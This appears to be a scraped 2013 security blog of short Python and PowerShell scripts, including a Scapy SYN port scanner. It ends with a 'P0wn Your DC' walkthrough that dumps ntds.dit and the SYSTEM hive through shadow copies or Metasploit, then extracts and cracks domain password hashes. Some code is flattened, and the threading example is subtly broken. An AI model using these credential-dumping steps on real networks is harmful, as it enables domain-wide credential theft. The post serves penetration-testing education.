#!/usr/bin/python# Import the necessary modulesimport threadingimport ftplib# FTP function - Connects and performs directory listingdef ftpconnect(target):ftp = ftplib.FTP(target)ftp.login()print "File list from: %s" % targetfiles = ftp.dir()print files# Main function - Iterates through a lists of FTP sites creating theadsdef main():sites = ["ftp.openbsd.org","ftp.ucsb.edu","ubuntu.osuosl.org"]for i in sites:myThread = threading.Thread(target=ftpconnect(i))myThread.start()print "The thread's ID is : " + str(myThread.ident)if (__name__ == "__main__"):main()
Sunday, December 22, 2013
Python Threading - An Intro from my learning
Thursday, December 12, 2013
Python Classes
Once your class is created you can start to create objects that use the methods within the class.#Classes begin with the word 'class' followed by the class name class identity: # Statements or functions follow, referred to as methods. # Method attributes always start with 'self' # 'self' is a temporary placeholder for the object # The value of the attribute 'first' is passed into the method def createFirst(self,first): # The object's value for 'first' will be assigned based on the input self.first = first def createLast(self,last): self.last=last # The objects assigned value of 'first' is returned def displayFirstname(self): return self.first def displayFullname(self): return self.first + " " + self.last def saying(self): print "Hello %s %s " % (self.first, self.last)
# Associate object with class
user=identity()
# Use methods to assign values
user.createFirst('Bill')
user.createLast('Jones')
# Retrieve properties of an object
user.displayFullname()
'Bill Jones'
# Create another object that uses all the same methods of the class
user2=identity()
# If you ever forget what methods are available:
dir(user)
Wednesday, December 11, 2013
Python & Scapy - Simple port scanner
#!/usr/bin/python
# Import necessary modules
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
import itertools
import thread
# Parse and create IP range
def ip_range(input_string):
octets = input_string.split('.')
chunks = [map(int, octet.split('-')) for octet in octets]
ranges = [range(c[0], c[1] + 1) if len(c) == 2 else c for c in chunks]
for address in itertools.product(*ranges):
yield '.'.join(map(str, address))
# Scan each IP address with the identified port number
def scanner(ips):
for i in ip_range(ips):
src_port = RandShort()
dst_port = port
scan = sr1(IP(dst=i)/TCP(sport=src_port,dport=dst_port,flags="S"),timeout=10)
if scan is None:
print "This port is closed on IP: " + i
elif(scan.haslayer(TCP)):
if(scan.getlayer(TCP).flags==0x12):
print "This port is open for IP: " + i
else:
print "Unknown state"
# Request port number from user
port = int(raw_input('Enter which port to scan --> '))
# Request IP range from user - form should follow this format '192.168.1.1-26'
ips = raw_input('Enter your range using this format x.x.x.x-x --> ')
scanner(ips)
Wednesday, September 11, 2013
Get-DomainAdminMembers
<#.SYNOPSIS<A brief description of the script>.DESCRIPTION<The script gathers Domain Admin members and emails them to users specified in the script with an HTML formatted email.>.PARAMETER <paramName><None required>.EXAMPLE<Get-DomainAdminMembers.ps1>#># Import Module of Active DirectoryImport-Module -Name ActiveDirectory$today = (Get-Date).ToString()# Html$a = "<style>"$a = $a + "BODY{background-color:Lavender ;}"$a = $a + "TABLE{border-width: 1px;border-style: solid;border-color: black;border-collapse: collapse;}"$a = $a + "TH{border-width: 1px;padding: 5px;border-style: solid;border-color: black;background-color:thistle}"$a = $a + "TD{border-width: 1px;padding: 5px;border-style: solid;border-color: black;background-color:PaleGoldenrod}"$a = $a + "</style>"# Email Variables$smtp = "smtp.server.com"$to = "user@domain.com", "user2@domain.com", "user3@domain.com"$from = "Report Sender<report@domain.com>"$subject = "Domain Admin Group Members"# Run Command# Get Domain Admins$Users = Get-ADGroupMember 'domain admins' | select name, samaccountname | ConvertTo-html -Head $a -Body "<H2>Domain Admin Members.</H2>"$body = "Report Date $today ."$body += "`n"$body += $Users$body += "`n"# Send mail - If authentication is needed, you'll need to add those parametersSend-MailMessage -SmtpServer $smtp -To $to -From $from -Subject $subject -Body $body -BodyAsHtml
Thursday, August 29, 2013
Reverse Lookup - Python Style
#!/usr/bin/pythonimport optparseimport socketfrom socket import *def rlookup(tgtHost):hostname = tgtHostip = gethostbyname(tgtHost)print '[+] the IP Addres for ' + hostname + ' is: ' + ipdef main():parser = optparse.OptionParser('usage %prog -H' +\'<target host>')parser.add_option('-H', dest='tgtHost', type='string', \help='specify target host')(options, args) = parser.parse_args()tgtHost = options.tgtHostrlookup(tgtHost)if __name__ == '__main__':main()
Sunday, August 25, 2013
Post Defcon
#!/usr/bin/python# Import Modulesimport hashlib# Gather value to hashv = raw_input("Enter your value: ")print "Which hash algorithm do you want to use?"# Select has algorithma = raw_input("md5, sha1, sha224, sha256, sha384, sha512: ")# Generate hashh = hashlib.new(a)h.update(v)# Present has to usero = h.hexdigest()print "Your hash value using the " + a + "value is: " + o
More to come!
Monday, May 27, 2013
P0wn Your DC
Intro
Without a doubt, Active Directory offers a number of advantages for maintaining your environment. In addition to offering administrators centralized management, it offers bad guys a potential pot of gold - user hashes! This information is stored in a database called NTDS.NIT. Unfortunately or fortunately depending on your perspective, this file is locked on running domain controllers, so you can't simply copy this file. Leveraging Volume Shadow Copy Service (VSS), we can use Microsoft's own technology to gather these valuable user hashes! I will show you two methods for extracting the necessary files along with extracting and cracking the hashes. This post is for educational purposes ONLY. Never attempt this on a network you don't own and/or have strict permission!
Capturing The Hash
VSSOWN.VBS
This method uses a vbs script to create a backup of the Domain Controller (DC) where the critical files can be extracted.
- Download the source code for the script from here: http://ptscripts.googlecode.com/svn/trunk/windows/vssown.vbs
- Execute the script using the following commands:
- cscript vssown.vbs /create
- cscript vssown.vbs /list - Make note of the Device object

- copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit
- copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\system32\config\system
- Copy these two files to your pentesting machine - Kali Linux
Metasploit - Psexec_ntdsgrab
- Open an Metasploit shell and enter the following commands
- > use auxillary/admin/smb/psexec_ntdsgrab
- > set RHOST 10.211.55.3
- > set SMBPass <p@ssw0rd>
- > set SMBUser administrator
- > set CREATE_NEW_VSC true - if error of Shadow copy not found
- > run
- The following files should be located in ~/.msf4/loot

- Copy these two files (.dit & .bin) to your penetration testing machine.
Extracting The Hash
You will need two tools to extract the hashes from your captured AD files. The first is Libesedb which allows you to read and extract the tables from the ntds.dit database file. The second is NTDSXtract which allows you to extract the hashes from the data tables. You will need to download the source files and compile Libesedb.
Libesedb
- Download and compile libesedb
- wget https://code.google.com/p/libesedb/downloads/detail?name=libesedb-alpha-20120102.tar.gz
- tar xvzf libesedb-alpha-20120102.tar.gz
- cd libesedb-20120102
- make && make install
- Using the correct path, run esedbexport against the .dit file capture above.

NTDSXtract
- Download NTDSXtract
- wget http://ntdsxtract.com/downloads/ntdsxtract/ntdsxtract_v1_0.zip
- gunzip ntdsxtract_v1_0.zip
- cd /root/.msf4/loot/ntds.export (This is the location of the above process)
- python /root/downloads/NTDSXtract\dsusers-py ./datatable.3 ./link_table.5 --passwordhashes /root/.msf4/loot/ntds.bin
- Note - the ntds.bin file location is from the hash capturing process in the beginning of this article
- The results will provide a list of users and the associated hashes:

Cracking The Hash
- Now that you have the password hash for the interested user account, you can use a number of tools to potential crack the password. I will use an online service in my example. I will create another blog post for integrating this with tools such as John the Ripper.
- Go to: http://crackstation.net/
- Copy the hash into the website. If a matching hash is found, you will be shown the related password.
- de26cce0356891a4a020e7c4957afc72

Conclusion
There are a number of factors that can influence the success of this attack. Most notably, the complexity of the password may not be referenced in the password list used to reference the hash. WIthout that, you will not be able to see the password. Password lists and rainbow tables are beyond the scope of this article, but if these are foreign concepts, it would be worth your while to do a bit of research on the topic. Below are some of the links I used to create this post:
- Pauldotcom Article - http://pauldotcom.com/2011/12/safely-dumping-hashes-now-avai.html
- Libesedb - https://code.google.com/p/libesedb/
- NTDSXtract - http://ntdsxtract.com/
- VSSOWN.VBS - https://code.google.com/p/ptscripts/source/browse/trunk/windows/vssown.vbs?r=1
- Metasploit - http://www.metasploit.com/modules/auxiliary/admin/smb/psexec_ntdsgrab




